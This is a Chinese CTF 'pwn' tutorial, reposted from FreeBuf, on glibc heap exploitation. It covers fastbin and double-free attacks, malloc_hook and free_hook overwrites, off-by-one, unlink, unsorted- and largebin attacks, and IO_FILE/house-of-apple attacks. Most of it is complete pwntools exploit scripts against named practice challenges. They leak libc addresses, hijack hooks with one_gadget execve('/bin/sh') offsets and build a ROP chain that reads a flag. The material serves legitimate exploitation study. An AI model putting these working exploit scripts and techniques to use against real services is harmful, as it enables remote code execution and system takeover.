[PWN之路]堆攻击那些事儿
原文:https://www.freebuf.com/articles/endpoint/371095.html
0x00 前言
根据某大佬所说,pwn之路分为栈,堆,和内核。当前,如果你看到这个文章,说明你已经达到一个正在前往pwn深处的分水岭。堆的魔力和魅力实际上远远大于栈,希望我的文章能够帮助到入门的同学们。请注意,如果一些东西看不太明白请参考多方文章并且结合实际来搞明白,这是最好的。
本文的目的希望是让大家不要太害怕堆(就像我当年那样),从而可以继续慢慢踏向pwn这条魅力之路的远方。
堆溢出和UAF
堆溢出(Heap Overflow)是指在程序执行过程中,向堆(Heap)区域写入超出其分配内存边界的数据,从而覆盖了相邻的内存空间。这可能导致程序崩溃、执行意外行为或者被攻击者利用。
而UAF是指释放后引用(Use-After-Free)漏洞,它是一种常见的内存安全问题。当程序释放了一个堆上的内存块,但后续仍然继续使用该已释放的内存块,就会产生UAF漏洞。攻击者可以利用UAF漏洞来执行恶意代码,读取敏感数据,控制程序的执行流程等。
当堆溢出和UAF漏洞同时存在时,攻击者可以通过利用堆溢出漏洞来修改或篡改已释放的内存块,进而改变UAF漏洞的利用条件或影响其后续的使用。这种组合攻击称为堆溢出的UAF(Heap Overflow Use-After-Free)。攻击者可以通过堆溢出来破坏程序的内存结构,并结合UAF漏洞来实现更复杂的攻击,例如执行任意代码、提升权限或者绕过安全保护机制等。
0x01 fastbin attack 1
fastbin就是在释放一个小于global_max_size的且不小于最小内存的chunk(就是一块堆内存)的时候,用来存放这块堆内存的bin(垃圾桶)他是单链表结构(大家都学过了吧!
动态内存堆通常由两个主要的部分组成:一个是堆的头部(Heap Header),用于记录堆的状态和元数据信息,另一个是堆的主体(Heap Body),用于存储分配出去的内存块和空闲内存块。
堆的主体通常是由一块或多块连续的虚拟内存区域组成,每个区域通常是由多个内存块(Block)组成,每个内存块包含一个头部和一个实际的数据部分。头部通常用于记录内存块的状态(已分配或空闲)、大小、指向下一个或上一个内存块的指针等信息。
是不是听起来不像人话哈哈,那直接看看代码吧!
struct BlockHeader {
size_t size; // 内存块的大小,包括头部信息和数据部分
struct BlockHeader* next; // 指向下一个内存块的指针
int is_free; // 标记内存块是否空闲
};
// 堆的主体信息
struct Heap {
struct BlockHeader* head; // 指向堆中第一个内存块的指针
size_t size; // 堆的大小,包括已分配和空闲的内存块
};
0x01 攻击的第一步:修改指针
当我们释放一个符合大小的内存堆A,A会被分到fastbin中。再释放一个符合大小的内存堆B,B也会被分到fastbin,此时B中存放的next指针就是A。如果再释放一次A,那么A的next就会指向B,两边就相互指了,达成修改next指针的目的。
我们也可以直接覆盖数据修改内存堆中存放的next指针。
修改指针有什么用呢?我们修改指针就可以在下次申请内存的时候申请到我们控制的内存!因为fastbin是这样用的,我们刚才释放了B,随后我们再申请相同大小的,我们就会得到B,然后再申请一次就会得到B指向的A。
所以,如果我们申请得到B,并且B中存放的next是C,那么再次申请就会得到C,随后可以修改C中的内容。
那么我们要修改哪里的内容呢?
这时我们需要了解一个为了安全而危险的函数——“malloc_hook”
0x02 攻击的第二步:hook u!
malloc_hook 函数是GNU C库(glibc)中的一个特殊函数,它可以被用来重写 malloc()、realloc()、free() 等内存管理函数的实现,从而对程序的内存分配和释放过程进行自定义的控制和监测。
通过设置 malloc_hook 函数指针,我们可以在程序调用 malloc()、realloc() 等函数时,先执行我们自定义的一些操作或者根据一些条件来决定是否执行标准的内存分配/释放操作,比如检测内存泄漏、记录内存分配/释放信息等等。同时,还可以将自定义的实现与标准的内存管理函数结合起来,实现更加灵活的内存管理策略。
在每次调用malloc和realloc,free之前,都会先调用malloc_hook,从而达到检测和自定义函数的目的。
typedef void *(*__malloc_hook)(size_t size, const void *caller);
那么一旦我们修改了malloc_hook函数指针,我们就可以在下次malloc或者realloc,free之类的时候执行到我们需要执行的地址(如调用system,gadget之类),至此漏洞利用完成。
(本人尚未实操,只学了理论,还有很多问题请读者批评指正,后续我会补充,在这里写下堆的学习历程。)
从写代码者(非攻击者)方面的一点补充
知己知彼,百战不殆。了解这个函数是做什么的,我们能更好地利用他。
malloc_hook 是一个函数指针,它可以被用于在程序调用标准的动态内存分配函数 _malloc()、calloc()、realloc()、valloc()、aligned_alloc() 和 memalign()_ 时,实现自定义的内存分配策略。
当程序调用上述任何一个动态内存分配函数时,系统会首先检查是否定义了 malloc_hook 函数指针,如果定义了,则会调用该指针所指向的函数来进行内存分配。通过使用 malloc_hook 函数指针,程序可以实现动态内存分配的拦截和自定义,可以用于调试、内存泄漏检测、性能分析等应用场景。
malloc_hook 函数指针的类型定义如下:
typedef void *(*__malloc_hook)(size_t size, const void *caller);
其中,第一个参数 size 表示要分配的内存大小,第二个参数 caller 是调用动态内存分配函数的函数的返回地址。malloc_hook 函数指针所指向的函数必须返回一个指向分配到的内存块的指针,如果返回 NULL,则表示内存分配失败。
需要注意的是,使用 malloc_hook 函数指针需要非常小心,因为它可以覆盖程序中的标准动态内存分配函数,可能会导致系统崩溃或者内存泄漏等问题。建议仅在必要的情况下使用,并遵循相应的规范和最佳实践。
0x02 fastbin attack 2
babyheap_0ctf_2017,我的第一道堆,fastbin attack。随时欢迎交流。特别鸣谢孙学长和欧阳学长的指导。
参考文章:https://blog.csdn.net/mcmuyanga/article/details/112466134
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='amd64')
p = process('./heap')
p = remote('node4.buuoj.cn', 29639)
elf = ELF('./heap')
libc = ELF('./libc.so.6')
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
if args.G:
gdb.attach(p)
def add(size):
#p.sendlineafter(':','1')
#p.sendlineafter(':',str(size))
sla(':',str(1))
sla(':',str(size))
def edit(idx, content):
sla(':','2')
sla(':',str(idx))
sla(':',str(len(content)))
sla(':',content)
def free(idx):
sla(':','3')
sla(':',str(idx))
def dump(idx):
sla(':','4')
sla(':',str(idx))
add(0x10)#0
add(0x10)#1
add(0x80)#2
add(0x30)#3
add(0x68)#4
add(0x50)#5
edit(0,p64(0)*3+p64(0xb1))#修改堆这样才能泄露下一个堆的内容!
free(1)#释放他!让我得到更大的,一会输出!
add(0xa0)#得到了!程序现在知道了要输出0xa0!
edit(1,p64(0)*3+p64(0x91))#恢复chunk2信息!
free(2)#释放,你去吧!unsortedbin!带回来地址
dump(1)#得到地址!
base = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))#是main_arena的地址,还有一点偏移!
base -= 0x3c4b78#这个偏移可以用gdb的disass *malloc_trim找到!第三十三行
libc.address = base
print(hex(base))
hook = libc.sym.__malloc_hook
#ini1 = libc.sym.memalign_hook_ini
#ini1 = libc.sym.realloc_hook_ini
getshell = base+0x4526a#one_shot,来自onegadget!print(hex(hook))
free(4)#送去fastbin,准备攻击!
edit(3,p64(0)*7+p64(0x71)+p64(hook-0x23))#-0x23是为了申请堆时误导大小为0x7f通过认证!随后进行覆盖!
add(0x68)#2
add(0x68)#4
edit(4,b'\x00'*0x13+p64(getshell))
add(0x20)
ia()
'''0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
exp中注释相关
注意buuctf里面会给好libc
vis命令
0x03 泄露地址的各种姿势
house of orange 泄露libc
参考文章
https://www.cnblogs.com/ZIKH26/articles/16712469.html
不过当前只会泄露,还不知道怎么打捏
黑盾杯2023 leak
https://blog.csdn.net/weixin_52640415/article/details/130887930?spm=1001.2014.3001.5502
有待研究。
泄露libc地址的方式有很多种
1.house of orange(free unsorted后过度覆盖打印)
2.直接打印堆为got表
3.堆重叠(伪造fake chunk包括下一个堆,释放下一个堆然后打印,这个一般需要堆大于0x90)
参考:https://www.cnblogs.com/zhwer/p/13950309.html
4.double malloc(自己命名的),通过修改fastbin的fd,并且伪造fd的大小和fastbin一样,实际上是unsortedbin,然后再次申请这个堆块,得到两次引用这个地址从而泄露地址的机会。
- 0x06的unsorted bin attack
off-by-one 例题 hitcontraining_heapcreator
这是buu的pwn第二页最后一题,终于搞定了。
今天自己维护了自己的库魔刀千刃(evilblade),用这个来做pwn,所以从今天开始我的exp会多一些奇怪的东西。这些大家自己理解就好了,其实大概意思就那样,理解思路最重要。
一开始不知道off-by-one
(本质就是可以溢出一个字节,覆盖下一个堆块大小用来伪造堆块,从而申请新的伪造堆块的时候达到溢出的效果)
意思就是程序以为堆块很大(因为被改了),但实际上很小,所以可以达成溢出的效果。
前面想打unsorted bin多了一些没用的东西。
我一定要吐槽一下这个库的问题,我之前用11.3都没问题,这次有问题。
卡了我一晚上,最后换了11的库patch上才好了。
from pwn import *
from evilblade import *
context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')
setup('./heapc')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',25146)
evgdb()
def add(size,content):
#p.sendlineafter(':','1')
#p.sendlineafter(':',str(size))
sla(':',str(1))
sla(':',str(size))
sla(':',content)
def edit(idx, content):
sla(':','2')
sla(':',str(idx))
sa(':',content)
def free(idx):
sla(':','4')
sla(':',str(idx))
def dump(idx):
sla(':','3')
sla(':',str(idx))
add(400,b'a')#0
add(0x30,b'/bin/sh\x00'*3+p64(0x21))#1
add(0x30,b'/bin/sh\x00')#2
free(0)#释放这个堆快的时候,会把自己的大小写到下一个堆块的prev_size中,实际上gdb的颜色才是堆块使用时的可控区域
add(0x198,b'a'*7)#0
dump(0)
addr = tet()
addr = tet()
addr = getx64(0,-1)
base = getbase(addr, 'write',0x2cd7c8)
edit(0,b'/bin/sh\x00'+b'a'*0x188+p64(0x1a0)+b'\x81')#覆盖off-by-one
free(1)
free(2)
add(0x70,b'a'*0x18+p64(0x41)+p64(0)*3+p64(0x21)+p64(0x70)*3+p64(0x21)+p64(0x70)+p64(gotadd('free')))
dump(1)
addr = tet()
addr = u64(ru('\n')[-7:-1].ljust(8,b'\x00'))
dp('addr',hex(addr))
base = getbase(addr,'free')
symoff('free')
os = base+0xf1147
sys = symoff('system',base)
edit(1,p64(sys))
free(0)
ia()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
off-by-one第二个例题 roarctf_2019_easy_pwn
from pwn import *
from evilblade import *
context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')
setup('./pwn')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',27829)
def add(size):
sla(':',str(1))
sla(':',str(size))
def edit(idx,size,content):
sla(':','2')
sla(':',str(idx))
sla(':',str(size))
sla(':',content)
def free(idx):
sla(':','3')
sla(':',str(idx))
def dump(idx):
sla(':',b'4')
sla(':',str(idx))
#此题在获取size的函数中,当输入大于原始数值10时会返回原始数值+1
#故打off-by-one
add(0x18)#0
add(0x88)#1,构造fakechunk,覆盖2
add(0x88)#2,预备unsorted
add(0x30)#5,防止和top chunk合并
#第一步先构造fake chunk泄露地址
#这里有一个难点,就是会有pre_size的校验
#所以要看一下来确认在哪里写pre_size
free(1)
#free,看一下到哪里写pre_size
#观察到在90下0x20写b0即可(加0x20),只需要打印到下一个堆块前八位,多打印一些也行
edit(0, 0x18+10,b'\x00'*0x18+b'\xb1')
edit(2, 0x18, p64(0xb0)*3)
#因为是calloc申请时会置零,所以要先恢复chunk2信息。
#同理要确认一下恢复到哪里。
add(0xa8)
edit(1,0x10*8+0x10,b'\x00'*0x10*8+p64(0x91)*2)
#数出来是8*0x10+8,恢复
free(2)
#释放fake chunk获得地址,可以泄露
free(4)
dump(1)
addx = getx64(-28,-22)
hook = addx - 0x68
#symoff('_IO_2_1_stdin_')
base = getbase(addx,'_IO_2_1_stdin_',0x298)
os = base + 0x45216
#此时泄露得到基地址,但是还要劫持程序流才行
#因为开启了FULL RELRO,只能修改malloc hook了
#but,malloc_hook过时了,现在用freehook更好!(mallochook打不出来一点,oneshot不符合)
#然后发现freehook太难了,以后再说,一会调一下带源码为什么freehook-0x13不行
#网上说用realloc调节rsp
#原理是malloc_hook->realloc->realloc_hook
#走fastbin attack
add(0x68)
add(0x68)
#申请两个进入fastbin
free(4)
free(2)
#释放进入
dp('hook',hex(hook))
dp('os',os)
rea = symoff('realloc',base)
os = base+0x4526a
#首先修改realloc_hook,因为相邻所以两个一起改了
edit(1,0x10*8+0x10+8,b'\x00'*0x10*8+p64(0x71)*2+p64(hook-0x23))
add(0x68)
add(0x68)
edit(4,3+0x18,b'\x00'*3+p64(0)+p64(os)+p64(rea))
#realloc后正好rsp+0x30就是0,完成
#申请回来
evgdb('b *$rebase(0xccc)')
dp('new',base)
dp('hook-0x23',hook-0x23)
add(1)
ia()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL
0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf02b0 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
'''
0x04 Double-Free
任意内存写
一个地址free两次,则会形成指针。如果是fastbin
或者tcache bin
被释放两次,再申请一次则可以任意修改指针,此时再申请两次即可申请到任意内存。
泄露地址
一个地址free两次,再申请一次,可以直接读取堆内的指针数据,达到泄露地址的目的。
0x05 Unlink
主要用来修改堆指针,方便实现任意内存写。
https://blog.csdn.net/mcmuyanga/article/details/112602827
#控制fd和bk
heaparray =
aim = heaparray
ptr = aim+0x10
fd = ptr-0x18
bk = ptr-0x10
0x06 Unsorted bin attack
说明
条件
1.可以控制unsorted bin的bk
2.知道要改哪里
效果
修改任意地址为main_arena的偏移地址(修改为大数)
原理
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
从unsorted bin取chunk0的时候,会从主要块(av)的bk去取,取完之后,chunk0的bk就得排队过来了,下一个就得申请他(unsorted_chunks (av)->bk = bck;)。
这个时候,chunk0的bk假设为chunk x,他的fd自然就得改为av。( bck->fd = unsorted_chunks (av);)
那么如果控制了bk,就可以修改任意地址的内容为av了。
这就是这个代码的理解。
hitcontraining_magicheap
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')
p = process('./heap')
#p = remote('node4.buuoj.cn', 26148)
elf = ELF('./heap')
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
if args.G:
gdb.attach(p)
def add(size,content):
sla(':',b'1')
sla(':',str(size))
sla(':',content)
def edit(idx, content):
sla(':',b'2')
sla(':',str(idx))
sla(':',str(len(content)))
sla(':',content)
def free(idx):
sla(':',b'3')
sla(':',str(idx))
add(0x10,b'a')
add(0x80,b'aaaa')
add(0x10,b'aaaa')
free(1)
edit(0,b'a'*8*2+p64(0)+p64(0x91)+p64(0)+p64(0x6020a0-0x10))
add(0x80,b'a')
#add(0x100,b'a')
sl(b'4869')
ia()
.0x07 largebin attack
largebin attack参考
看看这个博客。
其中第一次申请是得到chunk2地址,再次申请,则会写入chunk1地址。
例题 pwn_oneday
2023.10.4
本题是house of apple
经典例题。在这里也顺带复习一下large bin attack
。
add(2)#0,较大的堆,为largebin attack劫持_IO_list_all做准备,对应第一步
add(1)#1,防止合并,对应第二步
add(1)#2,较小的,largbin attack准备,对应第三步
add(1)#3,防止合并,对应第四步
pause()
free(0)#使得0堆块有main_arena地址,对应第五步
第一次释放
add(1)#对应largebin attack第五步
free(2)#对应largebin attack第六步
分配一个size3,使得chunk0进入large bin
rea(0,pl.ljust(0x880,b'\x00'))
修改bk_nextsize到_IO_list_all
释放chunk2
申请一个,写入chunk2
再申请一个,写入chunk0
0x08 IOfile攻击
文件描述符攻击
2023.9.13 夜里 法学经典评析课上()
更改输入文件描述符为flag描述符,读取flag并打印。
查看方法如下。
上面可以找到stdin结构体的真实地址。
上面可以查看。
上面这个就是文件描述符。这个结构体很多东西,后面会继续提到。
from evilblade import *
context(os='linux', arch='amd64', log_level='debug')
setup('./pwn')
libset('libc-2.27.so')
rsetup('node4.buuoj.cn', 28420)
evgdb()
def add(cl,nu):
sla('>',b'1')
sla('>',str(cl))
sla(':',str(nu))
def free(cl):
sla('>',b'2')
sla('>',str(cl))
def show(cl):
sla('>',b'3')
sla('>',str(cl))
add(2,1)
free(2)
add(1,1)
free(2)
show(2)
ru(':')
heap = getd(0,-1)
heap = 0x555500000000+heap
dpx('heap',heap)#泄露一个堆地址,修改大小
add(2,heap+0x10)
add(2,0x91)
add(2,0x501)
for i in range(0x40):
add(2,0x21)#防止释放到topchunk
free(1)
show(1)
ru(':')
libc = getd(0,-1)
if libc < 0:
print("holy shit!")
libc = 0x100000000+libc
fileno = libc+0x7fff00000000-560
dpx('fileno',fileno)#通过unsortedbin泄露libc
fileend = libc-560
filebe = 0x7fff
add(1,0x21)
for i in range(0x21):
add(2,0x21)
free(1)
add(2,0x21)
free(1)
dpx('heap',heap)
show(1)
ru(':')
this = getd(0,-1)
this = 0x555500000000+this+0x8
dpx('this heap',this)
#多次double free,改写tcache前八位为libc头
add(2,0x21)
free(1)
add(2,0x21)
free(1)
add(2,0x21)
free(1)
add(1,this)
#覆盖为fileno指针
add(1,fileend)
add(1,666)
add(1,666)
sl(b'4')
ia()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
IOleak & tcache_manager attack
最顶上的堆是记录和控制tcache_bin的个数和地址的,可以被控制(可利用double free等攻击方式)。
也就是tcache_manager attack
。由此修改0x250的size位置为7,free这个堆之后就会得到unsorted bin,拿到出现libc地址。
再由于这上面会存储各个大小的tcache bin堆块的地址,unsorted bin又会残留信息,正好可以利用这一点把tcache bin的地址写成libc上,于是可以写到stdout,执行IOleak。
如何用IOleak?
使用情况:没有泄露函数,只有puts
使用方法:修改stdout结构体的flag为0xfbad1800,read相关指针置零,write_base第一个字节改为0x58,泄露IO_jumps
修改前
发送与泄露,显然第一次puts打印的是我们指定的东西了
我们最后的目的就是调用_IO_SYSWRITE 来执行系统调用,但在执行系统调用之前我们会经过两个判断,在看了其他师傅的文章都说 else if的那个很难满足,故我们选择去满足前一个条件,及 fp->_flags & _IO_IS_APPENDING,之前 _flags == 0xfbad0800,现在又要满足 _flags & 0x1000 == 1,故我们 _flags == 0xfbad1800,即可满足所有条件。最后我们把 _IO_write_base 改为目标地址,之后在此次遇到puts等输出函数时,及可泄露出该地址里的值。
参考文章
修改后
from evilblade import *
context(os='linux', arch='amd64', log_level='debug')
count=0
def add(size,content):
sla(':',b'1')
sla(':',str(size))
sla(':',content)
def free():
sla(':',b'2')
while True:
try:
setup('./pwn')
libset('libc-2.27.so')
rsetup('node4.buuoj.cn', 26397)
evgdb()
add(0x7f,b'a')
free()
free()
add(0x7f,b'\x10\x10')#控制tcache管理堆
add(0x7f,b'double_free_to_tcache_manager')
add(0x7f,p64(0)*4+b'\x00\x00\x00\x07')#修改tcachebin中0x250的个数,free自身
free()
add(0x28,b'\x02'*0x17)
add(0x18,p16(0xc760))
add(0x18,p16(0xc760))#控制tcachebin中0x40的堆到stdout
add(0x18,p16(0xd8e8))#控制tcachebin中0x80到freehook
add(0x31,p64(0xfbad1800)+p64(0)*3+b'\x58')
addx = getx64(0,-138)
base = getbase(addx,'_IO_file_jumps')
sys = symoff('system',base)
add(0x78,p64(sys))
add(0x51,'/bin/sh\x00')
free()
sl(b'ls')
nowget = re(1)#一直接收直到有回显
if re:
print('pwned!go ahead')
count += 1
dp('test',count)
ia()
except:
count += 1
dp('test',count)
伪造IO表
house of apple的冰山一角与例题pwn_oneday
这个文章写的很好:https://xz.aliyun.com/t/12426#toc-0
里面也有附件什么的,我自己做了一下。本题主要是使用largebin attack
劫持了IO_all_list为堆,并且在堆上布置了伪造的IO结构体,劫持程序流,最后使用magic_gadget
栈迁移,达成ROP。
其中largebin attack
的部分上文已经讲解,此处再讲解一下略过的一个技巧。
libc和heap双泄露
方式:先释放一次大堆块,此时进入unsorted bin
,带有libc地址。再释放第二个,unsorted bin
会有两个,则后释放的会在bk
指针中,此时就会有两个地址可以同时泄露。
第一次释放
第二次释放
magic_gedget 栈迁移
堆的尽头是栈啊!(不是)
ROPgadget --binary ~/ctf/tools/glibcallinone/libs/2.34-0ubuntu3_amd64/libc.so.6 --only 'lea|mov|call' | grep 'rdi, r13'
用这个命令去找magic_gadget
,
其中有0x000000000016cacd : mov rdi, r13 ; call qword ptr [rax + 0x28]
,注意是rax+0x28
,然后gdb
调试具体确认即可。
mov rbp, qword ptr [rdi + 0x48];
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];//magic_gadget
结构体伪造
以上是原本的结构体。
以上是伪造后的结构体。
其中这里会调用_IO_wfile_overflow
形成攻击链。要保持_lock
地址不变,伪造_IO_wide_data
,伪造的IO流结构体虚表改为__GI__IO_wfile_jumps
,伪造的_IO_wide_data
的续表改为伪造的_IO_jump_t
,其中是栈,进行ROP。使用largebin attack
劫持了IO表之后,即可通过magic_gadget
栈迁移进行ROP。
from evilblade import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
setup('./pwn')
libset('libc.so.6')
rsetup('node4.buuoj.cn', 26397)
evgdb('b _IO_wdoallocbuf')
def add(size):
sla(':',b'1')
sla(':',str(size))
def free(idx):
sla(':',b'2')
sla(':',str(idx))
def rea(idx,content):
sla(':',b'3')
sla(':',str(idx))
sa(':',content)
def show(idx):
sla(':',b'4')
sla(':',str(idx))
sla(">>",b'8')
add(2)#0,较大的堆,为largebin attack劫持_IO_list_all做准备,对应第一步
add(1)#1,防止合并,对应第二步
add(1)#2,较小的,largbin attack准备,对应第三步
add(1)#3,防止合并,对应第四步
pause()
free(0)#使得0堆块有main_arena地址,对应第五步
free(2)#使得0堆块有bk指针指向一个heap地址,两个同时拥有,使用uaf泄露
show(0)#uaf,泄露
addx = tet()
libc = uu64(ru('\x7f'))-2198720
dpx('libc',libc)
heap = uu64(ru(b'1')[-9:-1])-0x13c0
dpx('heap',heap)
add(1)#对应largebin attack第五步
free(2)#对应largebin attack第六步
lock = libc + 0x21b720 # p _IO_2_1_stderr_.file._lock
wfile_jumps = libc + 0x21a020 # p &_IO_wfile_jumps
magic_gadget = libc + 0x16caba
dpx('magic',magic_gadget)
#libc_base + libc.sym['svcudp_reply'] + 0x1a
'''
mov rbp, qword ptr [rdi + 0x48];
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];
'''
chunk0 = heap + 0x290
chunk2 = heap + 0x13c0
lv = 0x000000000005a1ac +libc #leave ;ret
io_all = symoff('_IO_list_all',libc)
orw_addr = chunk0 + 0xe0 + 0xe8 + 0x70
#伪造的_IO_FILE_plus结构体
#p _IO_list_all
#p *(struct _IO_FILE_plus *) 0x5555557da290
pl = p64(0) + p64(lv) + p64(0) + p64(io_all - 0x20)#修改Largebin的bk_nextsize,准备attack,对应第七步
pl += p64(0)*3 + p64(orw_addr)
pl += p64(0)*7
pl += p64(lock)
pl += p64(0)*2
pl += p64(chunk0+0xe0)#指向的_IO_wide_data
pl += p64(0)*6
pl += p64(wfile_jumps)
#伪造的_IO_wide_data
#p *(struct _IO_wide_data*)0x56060274c370
pl += p64(0)*0x1c
pl += p64(chunk0 + 0xe0 + 0xe8)#IO_jump_t
rdx12 = libc + 0x0000000000122431
rdi = libc + 0x000000000002e6c5
rsi = libc + 0x0000000000030081
open_add = symoff('open',libc)
read_add = symoff('read',libc)
puts = symoff('puts',libc)
#伪造的_IO_jump_t
#p *(const struct _IO_jump_t *) 0x56060274c458
dpx('orw',orw_addr)
#open
orw = b'flag\x00\x00\x00\x00'
orw += p64(rdx12) + p64(0) + p64(chunk0-0x10)#为call做准备,同时pop进入r12不受影响
orw += p64(rdi) + p64(orw_addr)
orw += p64(rsi) + p64(0)
orw += p64(open_add)
#read
orw += p64(rdi) + p64(3)
orw += p64(rsi) + p64(orw_addr+0x200)
orw += p64(rdx12) + p64(0x50) + p64(0)
orw += p64(read_add)
#puts
orw += p64(rdi) + p64(orw_addr+0x200)
orw += p64(puts)
pl += p64(0)*0xd
pl += p64(magic_gadget)#__doallocate
pl += orw
pl += p64(lv)*10
rea(0,pl.ljust(0x880,b'\x00'))
#large_bin_attck,修改IO_all_list
add(3)#对应largebin attack第八步,写入了chunk2地址
pause()
add(1)#再分配一次,写chunk0地址
dpx('fake _IO_FILE_plus',chunk0)
dpx('fake _IO_wide_data',chunk0+0xe0)
dpx('fake IO_wfile_jump',chunk0 + 0xe0 +0xe8)
dpx('IO_wfile_jump',wfile_jumps)
sla(':','5')#触发exit
ia()